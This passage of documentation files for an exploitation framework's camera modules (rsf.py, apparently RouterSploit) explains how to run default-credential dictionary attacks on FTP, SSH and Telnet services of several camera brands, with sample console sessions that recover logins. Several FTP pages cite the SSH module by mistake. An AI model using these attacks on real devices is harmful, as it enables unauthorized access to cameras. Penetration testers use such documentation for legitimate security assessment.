  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/hikvision/telnet_default_creds
rsf (Hikvision Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Hikvision Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/honeywell/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Honeywell Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/honeywell/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/honeywell/ftp_default_creds
rsf (Honeywell Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Honeywell Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/honeywell/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Honeywell Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/honeywell/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/honeywell/ssh_default_creds
rsf (Honeywell Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Honeywell Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/honeywell/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Honeywell Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/honeywell/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/honeywell/telnet_default_creds
rsf (Honeywell Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Honeywell Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/iqinvision/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against IQInvision Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/iqinvision/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/iqinvision/ftp_default_creds
rsf (IQInvision Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (IQInvision Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/iqinvision/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against IQInvision Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/iqinvision/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/iqinvision/ssh_default_creds
rsf (IQInvision Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (IQInvision Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/iqinvision/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against IQInvision Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/iqinvision/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/iqinvision/telnet_default_creds
rsf (IQInvision Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (IQInvision Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/jvc/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against JVC Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/jvc/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/jvc/ftp_default_creds
rsf (JVC Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (JVC Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/jvc/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against JVC Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/jvc/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/jvc/ssh_default_creds
rsf (JVC Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (JVC Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/jvc/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against JVC Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/jvc/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/jvc/telnet_default_creds
rsf (JVC Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (JVC Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/mobotix/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Mobotix Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/mobotix/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/mobotix/ftp_default_creds
rsf (Mobotix Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Mobotix Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/mobotix/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Mobotix Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/mobotix/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/mobotix/ssh_default_creds
rsf (Mobotix Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Mobotix Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/mobotix/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Mobotix Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/mobotix/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/mobotix/telnet_default_creds
rsf (Mobotix Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Mobotix Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/samsung/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Samsung Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/samsung/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/samsung/ftp_default_creds
rsf (Samsung Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Samsung Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/samsung/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Samsung Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/samsung/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/samsung/ssh_default_creds
rsf (Samsung Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Samsung Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/samsung/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Samsung Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/samsung/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/samsung/telnet_default_creds
rsf (Samsung Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Samsung Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/sentry360/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Sentry360 Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/sentry360/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/sentry360/ftp_default_creds
rsf (Sentry360 Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Sentry360 Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/sentry360/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Sentry360 Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/sentry360/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/sentry360/ssh_default_creds
rsf (Sentry360 Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Sentry360 Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/sentry360/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Sentry360 Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/sentry360/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/sentry360/telnet_default_creds
rsf (Sentry360 Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Sentry360 Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/siemens/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Siemens Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/siemens/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/siemens/ftp_default_creds
rsf (Siemens Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Siemens Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/siemens/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Siemens Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/siemens/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/siemens/ssh_default_creds
rsf (Siemens Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Siemens Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/siemens/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Siemens Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/siemens/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/siemens/telnet_default_creds
rsf (Siemens Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Siemens Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/cameras/speco/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Speco Camera FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/speco/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/speco/ftp_default_creds
rsf (Speco Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Speco Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/speco/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Speco Camera SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/speco/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/speco/ssh_default_creds
rsf (Speco Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Speco Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/cameras/speco/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Speco Camera Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/cameras/speco/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/cameras/speco/telnet_default_creds
rsf (Speco Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Speco Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
